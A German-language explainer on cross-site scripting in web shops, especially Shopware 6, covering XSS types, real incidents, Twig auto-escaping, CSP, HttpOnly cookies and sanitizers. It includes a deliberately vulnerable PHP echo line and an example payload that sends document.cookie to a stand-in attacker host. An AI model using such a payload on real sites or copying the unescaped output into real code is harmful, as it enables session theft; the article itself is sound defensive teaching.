Cross-Site-Scripting (XSS) ist eine Schwachstelle in Web-Anwendungen, bei der ein Angreifer eigenen JavaScript-Code in eine Seite einschleust, die anschließend im Browser eines anderen Nutzers ausgeführt wird. Der Code läuft mit allen Rechten der betroffenen Seite: Er liest Cookies und Session-Daten, fälscht Formulare, löst Aktionen im Namen des eingeloggten Nutzers aus oder lenkt ihn auf fremde Seiten. XSS gehört zu den ältesten und zugleich häufigsten Schwachstellenklassen im Web. In den OWASP Top 10 von 2021 wird es unter A03:2021 Injection geführt; bis 2017 hatte es dort eine eigene Kategorie.
Wie Cross-Site-Scripting entsteht
Die Ursache ist immer dieselbe: Eine Anwendung nimmt Daten entgegen, die ein Nutzer kontrolliert, und baut sie ungeprüft in eine HTML-Seite ein. Der Browser kann nicht unterscheiden, ob ein <script>-Tag vom Entwickler stammt oder aus einem Suchfeld. Er führt aus, was im Dokument steht. Ein klassisches Beispiel ist eine Suchergebnisseite, die den Suchbegriff wiederholt:
Du hast gesucht nach: <?php echo $_GET['q']; ?>
Enthält der Parameter q den Wert <script>document.location='https://angreifer.example/?c='+document.cookie</script>, schickt die Seite die Cookies jedes Nutzers, der diesen Link anklickt, an den Angreifer. Der Link lässt sich per Mail, in einem Forum oder über eine Anzeige verbreiten. Für den Nutzer sieht die Adresse nach dem echten Shop aus, denn sie ist es auch.
Der Name ist historisch bedingt und etwas irreführend. „Cross-Site" bezog sich ursprünglich darauf, dass Code von einer fremden Site im Kontext der angegriffenen Site läuft. Heute meint XSS jede Form von eingeschleustem clientseitigem Code, unabhängig davon, woher er kommt. Die Abkürzung XSS statt CSS wurde gewählt, um Verwechslungen mit Cascading Style Sheets zu vermeiden.
Die drei Ausprägungen
| Typ | Wo der Code landet | Typischer Weg |
|---|---|---|
| Reflektiertes XSS | In der Antwort auf genau den Request, der den Code enthält; nichts wird gespeichert | Präparierter Link, Suchparameter, Fehlermeldung mit Echo der Eingabe |
| Persistentes XSS | In der Datenbank, etwa in einer Produktbewertung oder einem Profilfeld; jeder Aufruf der Seite liefert den Code aus | Kommentar, Bewertung, Benutzername, Lieferadresse, die im Backend angezeigt wird |
| DOM-basiertes XSS | Nie im Server-HTML, sondern erst im Browser durch JavaScript, das Eingaben in innerHTML oder document.write schreibt | Fragment hinter # in der URL, postMessage, Daten aus localStorage |
Persistentes XSS ist die gefährlichste Variante, weil es ohne Zutun des Opfers wirkt. Ein Shop, der Bewertungen ohne Ausgabekodierung anzeigt, liefert den Code an jeden Besucher der Produktseite aus. Besonders tückisch sind Felder, die im Backend angezeigt werden: Eine präparierte Lieferadresse läuft nicht im Browser eines Kunden, sondern im Browser des Mitarbeiters, der die Bestellung in der Administration öffnet, und zwar mit dessen Admin-Session. DOM-basiertes XSS wiederum ist mit serverseitigen Scannern schwer zu finden, weil der Server eine saubere Seite ausliefert und erst das eigene Frontend-JavaScript die Lücke öffnet.
In einem Shop sind die Eintrittspunkte zahlreicher, als es auf den ersten Blick scheint. Produktbewertungen und Kommentare sind offensichtlich. Weniger offensichtlich sind Zusatzfelder, die Kunden selbst befüllen, etwa Firmenname, Gravurtext oder Geschenknachricht, die später in Bestellbestätigungen, PDF-Rechnungen und Admin-Listen auftauchen. Und Daten, die aus einem ERP oder PIM importiert werden, gelten im Template oft als vertrauenswürdig, obwohl sie ursprünglich aus einem Kundenformular stammen können. Jede dieser Stellen ist ein eigener Ausgabekontext mit eigenem Risiko.
Was ein Angreifer damit erreicht
Das bekannteste reale Beispiel ist der Samy-Wurm auf MySpace im Oktober 2005. Samy Kamkar fand heraus, dass MySpace zwar <script>-Tags in Profilen filterte, aber JavaScript in CSS-Attributen durchließ. Sein Profil enthielt daraufhin Code, der jeden Besucher des Profils dazu brachte, Samy als Freund hinzuzufügen, den Satz „but most of all, samy is my hero" in das eigene Profil zu schreiben und den Code selbst mitzukopieren. Innerhalb von weniger als 20 Stunden hatte der Wurm über eine Million Profile erreicht; MySpace musste die Plattform zeitweise vom Netz nehmen. Der Fall gilt bis heute als Lehrbuchbeispiel für persistentes XSS und dafür, dass eine Blacklist verbotener Tags keine Verteidigung ist.
In einem Onlineshop sind die Folgen weniger sichtbar, aber teurer. Ein Skript im Checkout kann Kreditkartendaten abgreifen, bevor sie zum Payment Service Provider gehen; diese Angriffsform wurde unter dem Namen Magecart bekannt, bei der Angreifer über Jahre Zahlungsformulare in Magento-Shops und Drittanbieter-Skripten abgriffen. Ein Skript auf einer Kontoseite ändert die hinterlegte Lieferadresse. Ein Skript in der Administration legt einen neuen Admin-Benutzer an. Weil der Code im Browser eines legitimen Nutzers läuft, sieht der Server nur normale Requests mit gültiger Session. Weder Firewall noch Login-Schutz greifen.
Verteidigung: Ausgabekodierung zuerst
Die wirksamste Maßnahme gegen XSS ist die kontextabhängige Kodierung aller Daten, die in eine Seite geschrieben werden. Ein < aus einer Nutzereingabe wird im HTML-Kontext zu <, in einem Attribut zu <, in einem JavaScript-String zu \x3C. Der Browser zeigt den Text dann an und interpretiert ihn nicht. Die Kodierung gehört an die Ausgabe, nicht an die Eingabe: Ein Shop muss Zeichen wie < und " speichern können, etwa in Produktbeschreibungen oder Firmennamen, und entscheidet erst beim Rendern, wie sie dargestellt werden. Das OWASP Cross Site Scripting Prevention Cheat Sheet beschreibt die Regeln pro Kontext und ist die Referenz, an der sich Frameworks orientieren.
Moderne Template-Engines erledigen das automatisch. Twig, das Shopware 6 im Storefront und in E-Mail-Templates nutzt, maskiert jede Variable in {{ }} standardmäßig für den HTML-Kontext. Ein {{ product.description }} gibt eine eingeschleuste Bewertung als sichtbaren Text aus; ein Skript wird daraus nicht. Die Lücke entsteht erst, wenn ein Entwickler die Maskierung bewusst abschaltet: Der Filter |raw gibt den String unverändert aus und ist in Shopware-Themes und Plugins die häufigste XSS-Quelle. Er ist für Inhalte gedacht, die bereits serverseitig bereinigt wurden, etwa HTML aus dem CMS-Editor, und wird in der Praxis auch auf Felder angewendet, die Kunden befüllen. Jedes |raw in einem Template ist ein Prüfpunkt im Code-Review. Vue in der Shopware-Administration arbeitet nach demselben Prinzip; dort ist v-html das Gegenstück zu |raw.
Weitere Schutzschichten
Ausgabekodierung ist die erste Verteidigungslinie, aber keine Anwendung ist an jeder Stelle lückenlos. Deshalb lohnt sich eine zweite Schicht, die den Schaden begrenzt, wenn ein Skript doch durchkommt:
- Eine Content Security Policy mit Nonces verhindert, dass eingeschleuste Inline-Skripte ausgeführt werden, selbst wenn sie im Dokument stehen. Eine CSP mit
'unsafe-inline'imscript-srcleistet das nicht; die Direktivenobject-src 'none'undbase-uri 'self'schließen aber zwei Nebenwege auch ohne Nonce. - Das Cookie-Attribut
HttpOnlymacht Session-Cookies für JavaScript unlesbar, der klassische Cookie-Diebstahl perdocument.cookieläuft ins Leere. Shopware setzt das Attribut für die Session. - Eingabevalidierung nach Whitelist-Prinzip: Eine Postleitzahl darf nur Ziffern enthalten, eine E-Mail-Adresse muss dem Format entsprechen. Das ersetzt die Kodierung nicht, reduziert aber die Angriffsfläche.
- Für Felder, die bewusst HTML erlauben, ein serverseitiger Sanitizer mit Allowlist erlaubter Tags und Attribute, wie HTML Purifier in PHP oder DOMPurify im Browser. Shopware setzt einen solchen Sanitizer in der Administration für HTML-Felder ein; welche Tags durchgelassen werden, ist über
shopware.html_sanitizerkonfigurierbar. - Trusted Types, aktiviert per CSP-Direktive
require-trusted-types-for 'script', verlangen für gefährliche DOM-Senken typisierte Objekte statt roher Strings und adressieren damit DOM-basiertes XSS direkt.
Ein Header, der in älteren Anleitungen noch auftaucht, gehört nicht mehr dazu: X-XSS-Protection steuerte einen Browser-Filter, den Chrome 2019 entfernt hat und den Firefox nie hatte. MDN rät explizit davon ab, weil der Filter in bestimmten Fällen selbst Lücken öffnete.
Abgrenzung zu verwandten Angriffen
XSS wird häufig mit Cross-Site Request Forgery (CSRF) verwechselt. Bei CSRF bringt ein Angreifer den Browser des Opfers dazu, einen Request an die Zielseite zu schicken, ohne dass dort Code läuft; der Schutz sind CSRF-Tokens in Formularen, die Shopware standardmäßig erzeugt. XSS dagegen führt Code im Kontext der Seite aus und kann einen CSRF-Token schlicht aus dem Dokument lesen. XSS hebelt den CSRF-Schutz also aus; der umgekehrte Fall existiert nicht. SQL-Injection gehört zur selben OWASP-Kategorie Injection, zielt aber auf die Datenbank und nicht auf den Browser des Nutzers. Clickjacking, bei dem eine Seite in einem unsichtbaren Frame eingebettet wird, ist kein XSS und wird durch frame-ancestors beziehungsweise X-Frame-Options unterbunden. HSTS schließlich schützt die Transportverbindung und hat mit dem Inhalt der Seite nichts zu tun.
Alle genannten Schutzschichten beschreibt der Beitrag Security Header erklärt im Zusammenhang; dort steht auch, welche Header Shopware 6 selbst setzt und was der Webserver übernehmen muss. Für Shops bleibt die Reihenfolge: Erst jedes |raw und jedes v-html im eigenen Code prüfen, dann die sicheren CSP-Direktiven setzen, dann die Nonce-Umstellung planen.
Häufige Fragen
Ist ein Shopware-Shop von Haus aus gegen XSS geschützt?
Der Core ist es weitgehend: Twig-Auto-Escaping, HttpOnly-Session-Cookies, CSRF-Tokens und ein HTML-Sanitizer in der Administration. Die Lücken entstehen in Themes, Plugins und Apps, typischerweise durch |raw oder v-html an Feldern, die Kunden befüllen.
Reicht es, Eingaben beim Speichern zu filtern?
Nein. Filtern beim Speichern scheitert an Kontexten, die der Filter nicht kennt, und an Daten, die über andere Wege (Import, API, ERP) in die Datenbank kommen. Die Kodierung muss an der Ausgabe stattfinden, abhängig davon, ob der Wert in HTML, ein Attribut, JavaScript oder eine URL geschrieben wird.
Wie finde ich XSS-Lücken im eigenen Shop?
Im Code: alle Stellen suchen, an denen die Maskierung abgeschaltet ist. Im laufenden System: Testeingaben mit <, " und ' in jedes Feld schreiben, das irgendwo angezeigt wird, auch im Backend. Dynamische Scanner wie OWASP ZAP finden reflektiertes und persistentes XSS zuverlässig, DOM-basiertes nur eingeschränkt.
Warum steht XSS nicht mehr als eigener Punkt in den OWASP Top 10?
Seit der Ausgabe 2021 fasst OWASP XSS mit SQL-, Command- und anderen Injektionen unter A03:2021 Injection zusammen, weil die Ursache dieselbe ist: nicht vertrauenswürdige Daten werden ohne Trennung in einen Interpreter geschrieben. In den Daten hinter der Kategorie macht XSS weiterhin einen großen Teil der gemeldeten Fälle aus.